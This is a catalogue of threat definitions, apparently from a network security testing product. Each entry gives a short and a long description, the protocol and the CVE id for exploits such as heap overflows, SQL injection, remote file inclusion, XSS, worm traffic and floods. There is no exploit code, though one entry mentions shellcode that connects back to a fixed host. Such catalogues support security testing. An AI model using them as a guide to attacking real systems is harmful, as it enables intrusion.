Detailed Description:	A use after free vulnerability exists in Microsoft Excel. The vulnerability is due to the way the vulnerable product parses Shrfmla BIFF records in Excel documents. A crafted Excel file could trigger an error condition which could result in accessing of freed memory. A remote attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-1986
Threat File Name:	FSC20071120-04_FLAC_Project_libFLAC_VORBIS_Comment_String_Size_Buffer_Overflow.xml
Executive Description:	FLAC Project libFLAC VORBIS Comment String Size Buffer Overflow
Detailed Description:	A heap memory overflow vulnerability exists in FLAC library embedded and used by various products. The vulnerability is due to boundary errors when processing Free Lossless Audio Codec (FLAC) audio files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted FLAC audio file. Successful exploitation may lead to arbitrary code execution in the security context of the affected application, normally using the privileges of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-4619
Threat Package:	Standard
Threat File Name:	FSC20100128-01_IBM_Lotus_Domino_LDAP_Heap_Buffer_Overflow.xml
Executive Description:	IBM Lotus Domino LDAP Heap Buffer Overflow
Detailed Description:	A heap buffer overflow has been reported in IBM Lotus Domino Server. The vulnerability is due an integer overflow that can occur when processing LDAP messages. A remote unauthenticated attacker could leverage this vulnerability by sending a crafted LDAP message to a target server. Successful exploitation could lead to the execution of arbitrary code on a target server, within the security context of the affected service. In an unsuccessful attack, the target server could abnormally terminate.
Protocol Type:	LDAP
CVEID:	CVE-2010-0358
Threat Package:	Standard
Threat File Name:	vivvo_article_manager_sql_i_IPv6.xml
Executive Description:	SpoonLabs Vivvo Article Management Pdf_Version.PHP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Vivvo Article Manager is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard

Threat File Name:	TSL20170314-17_Microsoft_Windows_DirectShow_Information_Disclosure.xml
Executive Description:	Microsoft Windows DirectShow Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Windows DirectShow. The vulnerability is due incorrect handling of objects in memory by DirectShow. A remote attacker can exploit this vulnerability by enticing a user to open a web page with crafted content. Successful exploitation can lead to disclosure of sensitive information of the target system.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-0042
Threat File Name:	burncms_cmi_b.xml
Executive Description:	burnCMS <= 0.2(root)Remote File Include Vulnerabilities
Detailed Description:	This threat demonstrates a remote file inclusion flaw against misc.php's root parameter. this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20170330-05_Trend_Micro_IWSVA_LogSettingHandler_doPostMountDevice_Command_Injection.xml
Executive Description:	Trend Micro IWSVA LogSettingHandler doPostMountDevice Command Injection
Detailed Description:	A command injection vulnerability has been reported in Trend Micro InterScan Web Security Virtual Appliance (IWSVA). The vulnerability exists due to improper validation of the HTTP request parameters when processing requests to the /rest/commonlog/log_setting/mount_device URI. A remote, unauthenticated attacker can exploit this vulnerability by sending maliciously crafted HTTP request to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of the root.
Protocol Type:	HTTP,HTTPS
Threat File Name:	TSL20130719-01_Apache_Struts_OGNL_Expressions_DefaultActionMapper_Code_Execution.xml
Executive Description:	Apache Struts OGNL Expressions DefaultActionMapper Code Execution
Detailed Description:	A code execution vulnerability exists in Apache Struts Object-Graph Navigation Language (OGNL) expressions. The vulnerability is due to the failure of DefaultActionMapper to sanitize input following "action:", "redirect:" or "redirectAction:" expressions leading to code injection. A remote attacker could exploit this vulnerability by sending crafted HTTP requests to a server using a vulnerable version of the software. Successful exploitation will allow an attacker to execute arbitrary code on the system.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-2251
OSVDB:	95405
Threat File Name:	TSL20110601-05_Cisco_Network_Registrar_Default_Credentials_Authentication_Bypass.xml
Executive Description:	Cisco Network Registrar Default Credentials Authentication Bypass
Detailed Description:	An authentication weakness vulnerability exists in Cisco Network Registrar. The vulnerability is due to using a default password for the administrative account. A remote attacker can exploit the vulnerability by using this knowledge to authenticate with administrative privileges to the affected device and change the configuration.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-2024
Threat File Name:	FSC20070515-21_Samba_SRVSVc_RPC_sec_io_acl_Request_Handling_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Samba SRVSVC RPC sec_io_acl Request Handling Heap Buffer Overflow (IPv6 Version)
Detailed Description:	A heap-based buffer overflow vulnerability exists in the way Samba handles RPC messages. The vulnerability is due to a boundary error while performing specific RPC operations. Remote unauthenticated attackers can exploit this vulnerability by sending a specially crafted RPC request to the SRVSVC RPC interface. Successful exploitation of this vulnerability allows attackers to execute arbitrary code on the vulnerable system in the context of the affected process. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2007-2446
Threat Package:	Standard
Threat File Name:	sipbadtz_IPv6.xml
Executive Description:	SIPPING: Bad Timezone in Date (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with the timezone something other than GMT, which is the only legal value. Because this is unexpected, it may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	flexwatch_xss_IPv6.xml
Executive Description:	FlexWATCH Network Camera Cross-Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat recreates a cross site scripting condition in FlexWATCH Network Camera. This can allow an attacker to steal session and cookie information.FlexWATCH Network Camera is a web application, and will typically listen on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080118-02_Nullsoft_Winamp_Ultravox_Streaming_Metadata_Parsing_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Nullsoft Winamp Ultravox Streaming Metadata Parsing Stack Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Nullsoft Winamp Player. The vulnerability is due to boundary errors when parsing metadata in Ultravox streaming protocol. An attacker may exploit the vulnerability by enticing a user to visit a malicious server with the affected product, resulting in execution of arbitrary code on the target host within the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	/IPv6
CVEID:	CVE-2008-0065
Threat Package:	Standard
Threat File Name:	cshGetRootFlood_IPv6.xml
Executive Description:	CSH Get Root Flood (IPv6 Version)

Detailed Description:	This threat floods a user specified target with TCP PSH/ACK packets from a user specified source IP address containing the instructions '/bin/csh' in the first packet and 'execve' in the second sequential packet. These instructions will be present when a remote user injects shellcode in an attempt to obtain root privileges. This attack may be enhanced by randomizing the source IP address. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20081014-12_Microsoft_Host_Integration_Server_Remote_Command_Execution_Vulnerability.xml
Executive Description:	Microsoft Host Integration Server Remote Command Execution Vulnerability
Detailed Description:	A remote command execution vulnerability exists in Microsoft Host Integration Server. The vulnerability is due to a design flaw in the design of an RPC interface exposed by the server which allows remote unauthenticated users to execute arbitrary commands. Successful exploitation can result in execution of commands with System level privileges.
Protocol Type:	KYOCERANETDEV
CVEID:	CVE-2008-3466
Threat Package:	Standard
Threat File Name:	negContentLength.xml
Executive Description:	Negative Content Length GET Request
Detailed Description:	This threat issues out a HTTP GET request for the root page of a web server. It specifies the content length as negative one, which can cause out of memory problems for some web servers.
Protocol Type:	HTTP
CVEID:	CVE-2005-0482
OSVDB:	13958
Threat Package:	Standard
Threat File Name:	TSL20140811-05_AlienVault_OSSIM_Framework_Backup_Command_Execution_IPv6.xml
Executive Description:	AlienVault OSSIM Framework Backup Command Execution IPv6 version.
Detailed Description:	A command execution vulnerability exists in AlienVault OSSIM Framework. The vulnerability is due to insufficient sanitization of user supplied data that is used to execute backup commands. A remote unauthenticated attacker could exploit this vulnerability by sending a crafted request to the vulnerable server. Successful exploitation could result in command execution with root privileges. Tester should set variable \$destPort 40003 before test.
Protocol Type:	AlienVault OSSIM Framework Protocol.IPv6
CVEID:	CVE-2014-5158
OSVDB:	109579
Threat File Name:	TSL20131220-03_IBM_Rational_Focal_Point_Login_Servlet_Information_Disclosure.xml
Executive Description:	IBM Rational Focal Point Login Servlet Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in IBM Rational Focal Point. The vulnerability is due to an input validation error of the file variable in com.telelogic.focalpoint.pres.controller.LoginController servlet. A remote, unauthenticated attacker could exploit this vulnerability to read the configuration files of the Webservice Axis Gateway of Focal Point.
Protocol Type:	HTTP
CVEID:	CVE-2013-5397
OSVDB:	101023
Threat File Name:	ms_vstudio_activex_overwrite.xml
Executive Description:	Microsoft Visual Studio 6.0 PDWizard (PDWizard.ocx <= 6.0.0.9782) Remote Arbitrary Command Execution
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Microsoft Visual Studio PDWizard ActiveX Control, resulting in the execution arbitrary code. This threat is delived via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3041
Threat Package:	Standard
Threat File Name:	TSL20160127-03_Oracle_Application_Testing_Suite_UploadFileAction_fileType_Directory_Traversal.xml
Executive Description:	Oracle Application Testing Suite UploadFileAction fileType Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in Oracle Application Testing Suite. The vulnerability is due to insufficient input validation when processing HTTP request sent to URI "/olt/UploadFileUpload.do"; A remote attacker can exploit this vulnerability by sending a malicious request to the vulnerable server. Successful exploitation would lead to arbitrary code execution under the security context of System.Note that user authentication is required for the affected URI but can be bypassed by exploiting another vulnerability in Oracle Application Testing Suite.
Protocol Type:	HTTP
CVEID:	CVE-2016-0491
Threat File Name:	proxy_hunt2.xml
Executive Description:	Proxy Hunting with CONNECT
Detailed Description:	This threat uses the CONNECT method to attempt to connect to imperfect networks' website. Misconfigured proxies are used by hackers to attempt to learn more information about an inside network, and to launch network attacks anonymously.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	lupper23_IPv6.xml
Executive Description:	Lupper Worm 23 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20141218-01_ActualScripts_ActualAnalyzer_Cookie_Command_Execution.xml
Executive Description:	ActualScripts ActualAnalyzer Cookie Command Execution

Detailed Description:	A command execution vulnerability exists in ActualAnalyzer. The vulnerability is due to insufficient input validation when handling cookie values. The cookie values can be passed to a PHP eval() function which can allow command execution. A remote unauthenticated attacker can exploit this vulnerability by sending an HTTP request with a crafted cookie value. Successful exploitation could result in command execution on the operating system from which the application is being run.
Protocol Type:	HTTP/HTTPS
OSVDB:	110601
Threat File Name:	TSL20130917-06_Microsoft_Internet_Explorer_onlosecaputre_Event_Use-After-Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer onlosecaputre Event Use-After-Free [IPv6, Version]
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way onlosecapture events are handled. A remote attacker could exploit these vulnerabilities by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-3893
OSVDB:	97380
Threat File Name:	FSC20100309-07_Microsoft_Office_Excel_MDXTUPLE_Record_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Office Excel MDXTUPLE Record Heap Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been reported in Microsoft Office Excel. The vulnerability is due to a flaw while parsing MDXTUPLE BIFF records. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the logic of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0260
Threat Package:	Standard
Threat File Name:	FSC20080417-02_CA_ARCserve_Backup_Discovery_Service_Denial_of_Service.xml
Executive Description:	CA ARCserve Backup Discovery Service Denial of Service
Detailed Description:	There exists a denial of service vulnerability in CA ARCserve Backup Discovery service. The vulnerability is due to insufficient input validation by casdscsvc.exe. A remote unauthenticated attacker may exploit this vulnerability by sending a crafted message to the target server. Successful attack could create a denial of service condition to the Discovery service. The affected ARCserve Backup Discovery service will terminate upon processing the malicious message. The service will restart automatically. If the attack is mounted continuously, a permanent denial-of-service condition could be created.
Protocol Type:	CA Discovery Protocol
CVEID:	CVE-2008-1979
Threat Package:	Standard
Threat File Name:	FSC20050211-01_Microsoft_Windows_SMB_Response_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows SMB Response Handling Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a vulnerability in the Microsoft Windows Server Message Block (SMB) client component. A specially crafted SMB server response of certain SMB commands can cause a buffer overflow condition in the affected product. A remote attacker exploiting the vulnerability can create a system denial of service or inject and execute code with system level privileges. Upon receiving a simple attack, the target Windows system enters blue-screen crash state. The system must be restarted to resume normal functionality. Data corruption might occur due to the exceptional system restart. In an attack that allows code execution, the target system's behaviour is entirely dependent on the intended purpose of the injected code. The code will execute with system privileges. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2005-0045
Threat Package:	Standard
Threat File Name:	multi-pdf_bof_IPv6.xml
Executive Description:	Multiple Vendor PDF Document Catalog Handling Vulnerability (IPv6 Version)
Detailed Description:	This threat uses an HTTP server to send a malicious pdf file that will crash multiple pdf viewers. The payload vector is a web server typically listening on the port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0104
OSVDB:	31221
Threat Package:	Standard
Threat File Name:	TSL20131217-06_RealNetworks_RealPlayer_RMP_File_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	RealNetworks RealPlayer RMP File Heap Buffer Overflow(IPv6 Version)
Detailed Description:	A heap buffer overflow exists in RealNetworks RealPlayer. The vulnerability is due to an error when handling RMP files, overly long values for certain tags can result in a heap buffer overflow. A remote unauthenticated attacker could exploit this vulnerability by enticing a user to open a crafted RMP file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPv6
CVEID:	CVE-2013-6877
OSVDB:	101135
Threat File Name:	FSC20110414-01_Microsoft_Internet_Explorer_CSS_Use_After_Free_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CSS Use After Free Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to a use-after-free condition when a vulnerable application handles the CSS elements of HTML pages. Remote attackers can exploit this vulnerability by enticing target users to open a malicious webpage, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the logic of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-0094

Threat File Name:	TSL20120516-11_Apple_QuickTime_PICT_File_Processing_Memory_Corruption.xml
Executive Description:	Apple QuickTime PICT File Processing Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Apple QuickTime. The vulnerability is due to the way that Apple QuickTime processes malformed PICT files. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to download and process a specially crafted PICT file. This could possibly lead to code execution in the security context of the currently logged on user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2012-0671
OSVDB:	81942
Threat File Name:	TSL20140714-06_D-Link_HNAP_Request_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	D-Link HNAP Request Stack Buffer Overflow IPv6 version
Detailed Description:	A remote code execution vulnerability exists in D-Link routers. The vulnerability is due to a stack buffer overflow while processing crafted HTTP POST requests addressed to the HNAP handler. By sending a crafted HTTP request to the target device, a remote unauthenticated attacker can exploit this vulnerability to execute arbitrary code on the affected device with root privileges.
Protocol Type:	HTTP.IPv6
CVEID:	CVE-2014-3936
OSVDB:	107049
Threat File Name:	TSL20121115-02_Novell_NetIQ_Privileged_User_Manager_modifyAccounts_Policy_Bypass_IPv6.xml
Executive Description:	Novell NetIQ Privileged User Manager modifyAccounts Policy Bypass (IPv6 Version)
Detailed Description:	A policy bypass vulnerability exists in Novell NetIQ Privileged User Manager. The vulnerability is due to an access control weakness when handling a modifyAccounts request. A remote, unauthenticated attacker can exploit this vulnerability by sending a malicious request to a vulnerable server. Successful exploitation could result in code execution under the context of SYSTEM.
Protocol Type:	IPV6,HTTP,HTTPS
OSVDB:	87335
Threat File Name:	FSC20070531-22_Mozilla_Products_SVG_Layout_Engine_Index_Parameter_Memory_Corruption.xml
Executive Description:	Mozilla Products SVG Layout Engine Index Parameter Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Mozilla Foundation's family of browser products. The flaw is due to improper data processing when handling crafted SVG content. Successful exploitation of this issue can cause a denial of service condition and may allow remote attackers to execute arbitrary code in the context of the target browser.
Protocol Type:	HTTP
CVEID:	CVE-2007-2867
Threat Package:	Standard
Threat File Name:	phpinfoXSS_IPv6.xml
Executive Description:	phpinfo() Cross Site Scripting Attempt (IPv6 Version)
Detailed Description:	This threat attempts to cause a cross site scripting condition through the phpinfo function call. By exploiting this XSS vulnerability an attacker can steal session and cookie authentication details. PHP is a web application, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3388
OSVDB:	20406
Threat Package:	Standard
Threat File Name:	webspotblog_sql_i_IPv6.xml
Executive Description:	WebspotBlogging Login.PHP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server, this query also bypasses authentication. Webspot Blog is a web application and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0324
OSVDB:	22670
Threat File Name:	ms05-019_ipoptions_IPv6.xml
Executive Description:	MS05-019 Microsoft IP Options Off By One (IPv6 Version)
Detailed Description:	This attack causes the Microsoft Windows TCP/IP stack to write to one byte of unallocated memory, potentially causing a crash. (IPv6 Version)
Protocol Type:	IP/IPv6
CVEID:	CVE-2005-0048
OSVDB:	15463
Threat Package:	Standard
Threat File Name:	TSL20120508-29_Adobe_Shockwave_Player_rcsL_Chunk_Parsing_Uninitialized_Object_Access.xml
Executive Description:	Adobe Shockwave Player rcsL Chunk Parsing Uninitialized Object Access
Detailed Description:	A code execution vulnerability has been reported in Adobe Shockwave Player. The vulnerability is due to an error while parsing crafted data in an rcsL RIFF chunk of a DIR file. An attacker can exploit this vulnerability by enticing a user to process a malicious file, which could result in remote code execution under the security context of the current user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-2030
OSVDB:	81749
Threat File Name:	CALicenseManager_IPv6.xml
Executive Description:	Computer Associates License Manager Buffer Overflow Attempt (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the Computer Associates License Manager Software. The license manager software typically listens on ports 10203 and 10204. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2002-1598
OSVDB:	14389
Threat Package:	Standard

Threat File Name:	IE-DOS_stack_IPv6.xml
Executive Description:	Internet Explorer Stack Overflow Denial Of Service (IPv6 Version)
Detailed Description:	This threat causes Internet Explorer to crash after recursively calling a function more than 110 times. This threat takes advantage of a handler which catches problems in a website to reload the attack. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070919-07_Sun_Microsystems_JRE_isInstalled_dnsResolve_Function_Memory_Exception_IPv6.xml
Executive Description:	Sun Microsystems JRE isInstalled.dnsResolve Function Memory Exception (IPv6 Version)
Detailed Description:	There exists a design weakness vulnerability in the way Sun Java Web Start ActiveX control handles user supplied data. Specifically, the vulnerability is due to improper validation of user supplied data in the isInstalled.dnsResolve ActiveX control method. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious webpage, causing a denial-of service condition. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	php_iff_dos.xml
Executive Description:	PHP Malformed IFF Image DOS
Detailed Description:	This threat mimics the behaviour of uploading a malformed .IFF image to a PHP script, causing it to go into a recursive loop. This can cause a denial of service condition on a web server.
Protocol Type:	HTTP
CVEID:	CVE-2005-0524
Threat Package:	Standard
Threat File Name:	wins_heap_IPv6.xml
Executive Description:	MS04-045 WINS Heap Overflow Exploit (IPv6 Version)
Detailed Description:	This threat affects the WINS service on all versions of Microsoft Windows that come with it. Shellcode attempts to get target to connect back to host 192.168.1.1 on port 666. (IPv6 Version)
Protocol Type:	WINS/IPv6
CVEID:	CVE-2004-1080
OSVDB:	12378
Threat Package:	Standard
Threat File Name:	TSL20170324-02_SAP_GUI_regsvr32.exe_Rule_Security_Policy_Bypass_IPv6.xml
Executive Description:	SAP GUI regsvr32.exe Rule Security Policy Bypass (IPv6v Version)
Detailed Description:	A security policy bypass vulnerability has been reported in SAP GUI. The vulnerability is due to improper implementation of client side security policies regarding the Windows application regsvr32.exe. A remote attacker could exploit this vulnerability by enticing an user to connect to a malicious SAP server. Successful exploitation could lead to remote code execution in the security context of the affected application.
Protocol Type:	SAP NetWeaver, SMB/CIFS, IPv6
CVEID:	CVE-2017-6950
Threat File Name:	openemr_rfi_IPv6.xml
Executive Description:	OpenEMR "srcdir" Parameter Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. OpenEMR is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5795
Threat Package:	Standard
Threat File Name:	powerpoint0day.xml
Executive Description:	Microsoft Powerpoint Flaw
Detailed Description:	This is an attack on Microsoft Powerpoint. It would typically come from a malicious webserver, listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	net-worm.linux.mare.e.xml
Executive Description:	Net-Worm.Linux.Mare.E worm HTTP Payload Vulnerability
Detailed Description:	This threat is a capture of the Net-Worm.Linux.Mare.E Worm being downloaded as the worm would normally do after infection of a target machine. Worm.Linux.Mare.E is a worm that exploits well known web application holes.
Protocol Type:	HTTP
Threat File Name:	TSL20121108-10_Apple_QuickTime_ActiveX_Control_Clear_Method_Use_After_Free.xml
Executive Description:	Apple QuickTime ActiveX Control Clear Method Use After Free
Detailed Description:	A use-after-free vulnerability exists in Apple QuickTime's ActiveX control. The vulnerability is due to an error while handling the Clear() method. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to view a maliciously crafted web page. This can lead to code execution in the context of the affected user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-3754
OSVDB:	87089
Threat File Name:	lupper21_IPv6.xml
Executive Description:	Lupper Worm 21 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard

Threat File Name:	FSC20040809-01_AOL_Instant_Messenger_Away_Message_Buffer_Overflow.xml
Executive Description:	AOL Instant Messenger Away Message Buffer Overflow
Detailed Description:	There exists a vulnerability in the way AOL Instant Messenger (AIM) parses an away message. A stack-based buffer overflow can be triggered by opening an excessively long URL using the AIM scheme. An exploit triggering this vulnerability can create a denial of service condition or execute arbitrary code on the target system.
Protocol Type:	HTTP
CVEID:	CVE-2004-0636
Threat Package:	Standard
Threat File Name:	lupper14.xml
Executive Description:	Lupper Worm 14
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20170309-01_HPE_LoadRunner_and_Performance_Center_libxdrutil.dll_mxdr_string_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	HPE LoadRunner and Performance Center libxdrutil.dll mxdr_string Heap Buffer Overflow (IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability exists in HP LoadRunner and Performance Center. The vulnerability is due to insufficient validation of the length of XDR encoded string. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted request to the vulnerable version of the software. Successful exploitation could result in execution of arbitrary code within the context of SYSTEM. Unsuccessful attempts can cause a denial-of-service condition.
Protocol Type:	HP LoadRunner Agent Protocol,IPv6
CVEID:	CVE-2017-5789
Threat File Name:	TSL20170119-08_Oracle_WebLogic_Server_UnicastRef_Insecure_Deserialization.xml
Executive Description:	Oracle WebLogic Server UnicastRef Insecure Deserialization
Detailed Description:	An insecure deserialization vulnerability has been reported in Oracle WebLogic Server. This vulnerability is due to deserialization of untrusted data while having the UnicastRef class in the code path. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted serialized object. Successful exploitation can result in arbitrary code execution in the context of the user running WebLogic.
Protocol Type:	T3,T3S
CVEID:	CVE-2017-3248
Threat File Name:	noahsclassifieds_cmi_IPv6.xml
Executive Description:	Noah's classifieds Remote Code Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat sends an HTTP query containing a shell command as well as a remote file to be included and executed by the server. Noah's classifieds is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	cshGetRootFlood.xml
Executive Description:	CSH Get Root Flood
Detailed Description:	This threat floods a user specified target with TCP PSH/ACK packets from a user specified source IP address containing the instructions '/bin/csh' in the first packet and 'execve' in the second sequential packet. These instructions will be present when a remote user injects shellcode in an attempt to obtain root privileges. This attack may be enhanced by randomizing the source IP address.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	loudblog_cmi_IPv6.xml
Executive Description:	Loudblog backend_settings.php GLOBALS[path] Variable Remote File Inclusion (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains a command which is executed by the server. Loudblog is a we based application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0565
OSVDB:	22921
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_equals_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with = (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with = from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20090414-16_Microsoft_Internet_Explorer_EMBED_Element_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer EMBED Element Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The flaw is due to a race condition when processing malicious script that manipulates the EMBED element. An attacker can persuade the target user to open a malicious web page to exploit this vulnerability. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-0553
Threat Package:	Standard
Threat File Name:	FSC20080311-19_Microsoft_Excel_Rich_Text_Handling_Code_Execution.xml
Executive Description:	Microsoft Excel Rich Text Handling Code Execution

Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Excel. The vulnerability is due to boundary error when processing SST records. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged-in user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Excel will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-0116
Threat Package:	Standard
Threat File Name:	FSC20081014-19_Microsoft_Excel_REPT_Function_Integer_Overflow.xml
Executive Description:	Microsoft Excel REPT Function Integer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Excel product. The vulnerability is due to improper parsing of Excel documents containing specially crafted REPT function. Remote attackers can exploit this vulnerability by enticing target users to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2008-4019
Threat Package:	Standard
Threat File Name:	FSC20110412-17_Microsoft_Windows_OpenType_Font_Parsing_Stack_Overflow.xml
Executive Description:	Microsoft Windows OpenType Font Parsing Stack Overflow
Detailed Description:	An integer overflow vulnerability exists in the Microsoft Windows OpenType Font (OTF) driver. The vulnerability is due to insufficient validation of a calculation involving a FontMatrix value while processing the Compact Font Format data inside an OpenType font. Remote attackers can exploit this vulnerability by enticing target users to view a maliciously crafted font in an application that utilizes the affected library, such as Windows FontViewer. Successful exploitation would possibly result in code execution in the security context of Ring 0 (kernel). If code execution is unsuccessful, the affected system will terminate and result in BSOD.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0034
Threat File Name:	FSC20081014-17_Microsoft_Windows_Message_Queueing_Service_Queue_Name_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Windows Message Queuing Service Queue Name Handling Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows Message Queuing Service. The vulnerability is caused by a failure to validate messages containing user-defined memory address. Remote unauthenticated attackers can exploit this vulnerability by sending specially crafted messages to the affected interface. A successful exploitation can lead to arbitrary code execution with System level privileges.
